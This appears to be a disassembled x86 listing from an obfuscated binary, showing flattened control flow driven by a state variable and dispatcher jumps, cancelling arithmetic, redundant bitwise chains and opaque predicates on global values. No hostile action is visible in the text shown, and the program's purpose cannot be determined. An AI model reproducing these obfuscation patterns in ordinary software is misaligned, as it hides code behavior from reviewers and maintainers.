xor dh, 0
mov byte [ebp - 0x6e7], dh
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 1
and dh, 0xff
mov al, ch
and al, 0
mov byte [ebp - 0x6ea], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x6e9], al
mov al, byte [ebp - 0x6ea]
and cl, ch
or dh, al
mov al, byte [ebp - 0x6e9]
or al, cl
mov cl, byte [ebp - 0x6e8]
xor dh, al
mov al, byte [ebp - 0x6e7]
or al, bh
xor al, 0xff
or ch, 1
and al, ch
or dh, al
mov al, bl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and bl, bh
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or al, bl
mov bl, byte [ebp - 0x6cf]
or ch, bh
xor al, ch
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov byte [ebp - 0x6e4], al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
and dh, 1
or ch, dh
mov byte [ebp - 0x6e3], ch
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, ch
and dh, 0
and al, bl
mov byte [ebp - 0x6e6], al
mov al, bh
and al, 0
mov byte [ebp - 0x6e5], al
mov al, byte [ebp - 0x6e6]
and cl, bl
or dh, al
mov al, byte [ebp - 0x6e5]
or al, cl
mov cl, byte [ebp - 0x6e4]
xor dh, al
mov al, byte [ebp - 0x6e3]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or dh, ch
mov ch, al
and ch, 1
xor al, 1
or ch, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
or al, dh
xor ch, 0xff
mov bh, al
xor bh, ch
and bh, al
mov ch, ah
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov ch, dl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and dl, ah
or bl, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x6e2], dl
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
and dl, 0
and al, ah
mov dh, ch
and dh, 0
and bl, ah
or dl, al
mov al, byte [ebp - 0x6e2]
or dh, bl
xor dl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or dl, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov dh, cl
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0x6db], al
mov ah, bh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, bh
and al, ch
or ah, al
mov bl, 1
xor bl, 0
and bl, 0
mov dh, 1
xor dh, 0
mov ch, dh
and ch, 0
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bl, ch
mov ch, byte [ebp - 0x6db]
or al, dh
xor bl, al
mov byte [ebp - 0x6de], bl
mov dh, 1
xor dh, 0
mov al, ch
xor al, dh
and al, ch
xor cl, 0xff
mov dh, bl
xor dh, 0xff
mov ch, 1
xor ch, 1
or cl, dh
or ch, 1
xor cl, 0xff
and cl, ch
mov byte [ebp - 0x6e1], cl
mov dh, 1
xor dh, 0
mov ch, ah
xor ch, dh
and ch, ah
xor bh, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or bh, bl
or dh, 0
xor bh, 0xff
and bh, dh
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0x6dd], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x6dc], cl
mov dh, bl
and dh, 0
and al, cl
mov cl, byte [ebp - 0x6e1]
mov byte [ebp - 0x6e0], al
mov al, byte [ebp - 0x6dd]
and al, 0
mov byte [ebp - 0x6df], al
mov al, byte [ebp - 0x6dc]
and cl, al
mov al, byte [ebp - 0x6e0]
or dh, al
mov al, byte [ebp - 0x6df]
or al, cl
mov cl, byte [ebp - 0x6de]
xor dh, al
mov al, byte [ebp - 0x6dd]
or bl, al
mov al, byte [ebp - 0x6dc]
xor bl, 0xff
or al, 0
and bl, al
mov al, byte [ebp - 0x6db]
or dh, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov bh, dh
xor bh, 0xff
mov ch, bl
and ch, bh
xor bl, 0xff
and dh, bl
or ch, dh
mov byte [ebp - 0x6d7], ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov dh, 1
xor dh, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ch, dh
and ch, 0
mov al, bl
and al, 0
mov byte [ebp - 0x6da], al
mov al, bh
and al, 0
mov byte [ebp - 0x6d9], al
mov al, byte [ebp - 0x6da]
and cl, bl
or ch, al
mov al, byte [ebp - 0x6d9]
or al, cl
mov cl, byte [ebp - 0x6d8]
xor ch, al
mov al, byte [ebp - 0x6d7]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or ch, dh
xor ch, 0xff
mov bh, ah
xor bh, ch
and bh, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x6d6], ch
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
and ch, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or ch, al
mov al, byte [ebp - 0x6d6]
or bl, bh
xor ch, bl
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or ch, al
mov ah, dl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
mov bl, dl
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or ah, bl
or al, dh
xor ah, al
mov bh, 1
xor bh, 0
xor ah, 0xff
mov al, 1
xor al, 1
or bh, ah
or al, 1
xor bh, 0xff
and bh, al
mov dh, 1
xor dh, 0
and dh, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dh, bl
or al, ah
xor dh, al
mov ah, dh
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov dl, ch
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
mov ah, ch
and ah, bl
or dl, ah
mov bl, 1
xor bl, 0
mov ah, dl
xor ah, bl
and ah, dl
xor dh, 0xff
mov dl, ch
xor dl, dh
and dl, ch
mov byte [ebp - 0x6d3], dl
mov dl, bh
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov bl, dl
and bl, 0xff
and bh, ch
mov byte [ebp - 0x6d5], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0x6d4], al
mov al, byte [ebp - 0x6d5]
or bl, al
mov al, byte [ebp - 0x6d4]
or bh, al
mov al, byte [ebp - 0x6d3]
xor bl, bh
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or bl, dl
mov dl, ah
xor dl, 0xff
mov bh, al
xor bh, 0xff
mov ch, 1
xor ch, 1
mov dh, dl
and dh, 0xff
and ah, ch
mov byte [ebp - 0x6d2], ah
mov ah, bh
and ah, 0xff
and al, ch
mov byte [ebp - 0x6d1], al
mov al, byte [ebp - 0x6d2]
or dh, al
mov al, byte [ebp - 0x6d1]
or ah, al
mov al, byte [ebp - 0x6d0]
xor dh, ah
mov ah, byte [ebp - 0x6cf]
or dl, bh
xor dl, 0xff
or ch, 1
and dl, ch
or dh, dl
mov dl, bl
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or dl, bl
or ch, dh
xor dl, ch
mov byte [ebp - 0x6cc], dl
mov bh, al
xor bh, 0xff
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 1
or bh, ch
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bh
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
mov bl, al
and bl, 0
and bh, cl
mov ch, dl
and ch, 0
and dh, cl
or bl, bh
or ch, dh
xor bl, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or bl, al
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, bh
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bh, dl
mov dh, ch
and dh, 0
and bl, dl
or al, bh
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0x6c5], al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov ch, ah
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, ah
or al, cl
xor ch, al
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, ah
or al, cl
xor bl, al
mov byte [ebp - 0x6c9], bl
mov cl, 1
xor cl, 0
mov al, dl
xor al, cl
and al, dl
mov cl, 1
xor cl, 1
mov dh, bl
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, ch
xor ah, 0xff
mov dh, 1
xor dh, 0
mov bh, 1
xor bh, 1
or ah, dh
mov dh, byte [ebp - 0x6cf]
or bh, 1
xor ah, 0xff
and ah, bh
mov byte [ebp - 0x6ca], ah
xor bl, 0xff
mov ah, dh
xor ah, bl
and ah, dh
mov dh, al
xor dh, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x6cb], bl
mov bl, 1
xor bl, 1
mov bh, dh
and bh, 0xff
and al, bl
mov byte [ebp - 0x6ce], al
mov al, byte [ebp - 0x6cb]
and al, 0xff
mov byte [ebp - 0x6cd], al
mov al, byte [ebp - 0x6ce]
and cl, bl
or bh, al
mov al, byte [ebp - 0x6cd]
or al, cl
mov cl, byte [ebp - 0x6cc]
xor bh, al
mov al, byte [ebp - 0x6cb]
or dh, al
mov al, byte [ebp - 0x6ca]
xor dh, 0xff
or bl, 1
and dh, bl
or bh, dh
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov ah, bh
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0x6c9]
or ah, bh
or dh, bl
xor ah, dh
mov byte [ebp - 0x6c6], ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov ch, 1
xor ch, 0
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
mov bh, dh
and bh, 0
mov byte [ebp - 0x6c8], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x6c7], al
mov al, byte [ebp - 0x6c8]
or ah, al
mov al, byte [ebp - 0x6c7]
or bh, al
mov al, byte [ebp - 0x6c6]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
xor ah, 0xff
mov bh, dl
xor bh, ah
and bh, dl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dh, dl
and dh, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dh, al
mov al, byte [ebp - 0x6c5]
or bl, bh
xor dh, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or dh, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov al, 1
xor al, 0
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
or al, ch
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov dl, al
and dl, 0
xor al, 0
or dl, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, dh
or al, ah
xor ch, al
xor ch, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov dh, cl
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov byte [ebp - 0x6c0], dl
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, ch
and al, ah
or dh, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov ah, 1
xor ah, 0
mov al, dl
xor al, ah
and al, dl
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, 1
xor ah, 0
mov dl, dh
xor dl, ah
and dl, dh
mov byte [ebp - 0x6c2], dl
xor ch, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
or ch, ah
or dl, 0
xor ch, 0xff
and ch, dl
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x6c1], ah
mov bl, 1
xor bl, 1
mov ah, dl
and ah, 0xff
and al, bl
mov byte [ebp - 0x6c4], al
mov al, byte [ebp - 0x6c1]
and al, 0xff
mov byte [ebp - 0x6c3], al
mov al, byte [ebp - 0x6c4]
and cl, bl
or ah, al
mov al, byte [ebp - 0x6c3]
or al, cl
mov cl, byte [ebp - 0x6c2]
xor ah, al
mov al, byte [ebp - 0x6c1]
or dl, al
mov al, byte [ebp - 0x6c0]
xor dl, 0xff
or bl, 1
and dl, bl
or ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x6bf], dl
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and al, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, al
mov al, byte [ebp - 0x6bf]
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x6be], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov al, dl
and al, 0
mov ch, ah
and ch, 0xff
and bh, dl
or cl, al
mov al, byte [ebp - 0x6be]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9b23005f
mov ecx, 0xf609d76d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0x140]
mov dword [eax], 0
mov dword [ebp - 0x1a8], 0xa2caea02
jmp 0x43690c
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
setne al
and al, 1
mov byte [ebp - 0x81], al
mov dword [ebp - 0x1a8], 0x73c70b5a
jmp 0x43690c
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
shl ecx, 2
add eax, ecx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x1a8], 0xbd19cc7a
jmp 0x43690c
mov eax, dword [0x511348]
mov ecx, dword [0x511344]
xor esi, esi
sub esi, 0xeb01d3d8
add esi, 0x3750b301
add esi, 0xeb01d3d8
sub esi, 0xc61acd0f
sub esi, 1
add esi, 0xc61acd0f
xor edx, edx
sub edx, 0x3750b301
add esi, edx
xor edi, edi
sub edi, eax
xor edx, edx
sub edx, 0x372975ba
add edi, edx
xor edx, edx
sub edx, edi
sub edx, 0xc731ff8
add edx, esi
add edx, 0xc731ff8
sub edx, 0x75f0a443
sub edx, 0x372975ba
add edx, 0x75f0a443
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl cl
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov ch, ah
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, ch
or al, dl
xor bh, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dl, cl
and dl, ch
or al, dl
mov dl, 1
xor dl, 0
and dl, 1
mov ch, 1
xor ch, 1
and ch, 0
or dl, ch
mov byte [ebp - 0x74f], dl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, ch
and dl, 0xff
and bh, dh
mov byte [ebp - 0x751], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x750], al
mov al, byte [ebp - 0x751]
or dl, al
mov al, byte [ebp - 0x750]
or bh, al
mov al, byte [ebp - 0x74f]
xor dl, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or dl, ch
mov byte [ebp - 0x74c], dl
mov dl, 1
xor dl, 0
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, dl
and ch, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0x74e], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x74d], al
mov al, byte [ebp - 0x74e]
or ch, al
mov al, byte [ebp - 0x74d]
or bh, al
mov al, byte [ebp - 0x74c]
xor ch, bh
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ch, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and al, dh
or dl, al
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov byte [ebp - 0x74a], al
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or ch, al
mov al, 1
xor al, 0
xor ch, 0xff
mov dl, 1
xor dl, 1
or al, ch
or dl, 1
xor al, 0xff
and al, dl
mov dl, 1
xor dl, 0
and dl, 1
mov ch, 1
xor ch, 1
and ch, 0
or dl, ch
mov ch, dl
xor ch, 0xff
mov bl, ah
xor bl, ch
and bl, ah
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov ah, cl
and ah, dh
or ch, ah
mov dh, 1
xor dh, 0
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x74b], ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, al
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and al, dl
mov dh, ch
and dh, 0xff
and bl, dl
or ah, al
mov al, byte [ebp - 0x74b]
or dh, bl
xor ah, dh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0x74a]
or bl, bh
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov ch, ah
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and ah, dh
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, dh
or ch, ah
or cl, dl
xor ch, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov dh, al
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov byte [ebp - 0x749], cl
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov dl, ch
and dl, ah
or dh, dl
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or bh, bl
or dl, ah
xor bh, dl
mov ah, 1
xor ah, 0
mov dl, cl
xor dl, ah
and dl, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, 1
xor al, 0
mov cl, dh
xor cl, al
and cl, dh
xor ch, 0xff
mov al, bh
xor al, 0xff
mov ah, 1
xor ah, 0
or ch, al
mov al, byte [ebp - 0x749]
or ah, 0
xor ch, 0xff
and ch, ah
mov ah, dl
and ah, bl
xor dl, bl
or ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x748], ah
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and al, cl
mov ch, dl
and ch, 0xff
and dh, cl
or ah, al
mov al, byte [ebp - 0x748]
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x747], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x747]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb9876de2
mov ecx, 0x21686262
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x154]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x150]
imul edx, dword [edx], 0x14
add ecx, edx
mov edx, dword [ecx + 0x10]
xor ecx, ecx
sub ecx, 0x72c26bc4
add ecx, 0
sub ecx, 0x6c62f075
sub ecx, eax
add ecx, 0x6c62f075
xor eax, eax
sub eax, 0x72c26bc4
sub ecx, eax
xor eax, eax
sub eax, 0x1c94086f
add eax, 0x8ad303b1
add eax, 0x1c94086f
add eax, 0x65347ef6
sub eax, edx
sub eax, 0x65347ef6
sub eax, 0x41bf5fc5
sub eax, 0x8ad303b1
add eax, 0x41bf5fc5
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 0x130ee22a
add edx, ecx
xor ecx, ecx
sub ecx, edx
sub ecx, 0x995170c
add ecx, eax
add ecx, 0x995170c
sub ecx, 0xbc29383
sub ecx, 0x130ee22a
add ecx, 0xbc29383
xor eax, eax
sub eax, 0x424eab2d
sub eax, 0x5f8c66c
add eax, 0x424eab2d
add eax, 0x89734376
sub eax, ecx
sub eax, 0x89734376
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x5f8c66c
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x140]
mov edx, dword [ecx]
shl edx, 2
mov ecx, 0xb46056ad
add ecx, 0
sub ecx, 0xc1c3e9f9
sub ecx, 0xb46056ad
add eax, 0xa4592984
sub eax, ecx
sub eax, 0xa4592984
add eax, 0xbf4e71a0
add eax, 0x2a7fdf94
sub eax, 0xbf4e71a0
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0x771c5407
sub eax, 0x2a7fdf94
add eax, 0x771c5407
sub eax, 0x280b3829
sub eax, 0xe021ac75
add eax, 0x280b3829
add eax, 0x125b8bdd
sub eax, 0xc1c3e9f9
sub eax, 0x125b8bdd
add eax, 0xa928b977
add eax, 0xe021ac75
sub eax, 0xa928b977
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x1a8], 0x4c20ff6d
jmp 0x43690c
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
mov esi, 0xbb8d58ed
add esi, 0
sub esi, 0xdbb5f8da
sub esi, 0xbb8d58ed
add esi, 0xbc1b2d9a
sub esi, 1
sub esi, 0xbc1b2d9a
sub esi, 0xcda5b0ab
add esi, 0xdbb5f8da
add esi, 0xcda5b0ab
mov edx, ecx
add edx, 0xbb690d54
add edx, 0xab1f4497
sub edx, 0xbb690d54
sub edx, 0xb444a4e8
add edx, esi
add edx, 0xb444a4e8
xor esi, esi
sub esi, 0xab1f4497
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
mov byte [ebp - 0x7de], dh
cmp eax, 0xa
setl ch
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or dl, al
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov bl, 1
xor bl, 1
and bl, 0
mov cl, 1
xor cl, 0
mov ah, cl
and ah, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, ah
or al, cl
xor bl, al
xor dh, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov bh, ah
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, bh
or al, ah
xor cl, al
mov ah, 1
xor ah, 1
mov al, cl
xor al, ah
and al, cl
mov ah, 1
xor ah, 1
xor bl, 0xff
mov cl, 1
xor cl, 0
or ah, bl
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x7c5], al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
mov dl, 1
xor dl, 0
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ah
or al, cl
xor bh, al
mov al, bh
xor al, 0xff
mov bl, ch
xor bl, al
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0
mov dh, 1
xor dh, 0
mov al, dh
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, al
mov al, byte [ebp - 0x7c5]
or ah, dh
xor cl, ah
xor cl, 0xff
mov dh, 1
xor dh, 0
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, 1
xor ah, 1
xor bh, 0xff
mov dh, 1
xor dh, 0
or ah, bh
or dh, 0
xor ah, 0xff
and ah, dh
mov dh, dl
and dh, bl
xor dl, bl
or dh, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and dh, bl
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, bl
or ah, dh
or cl, dl
xor ah, cl
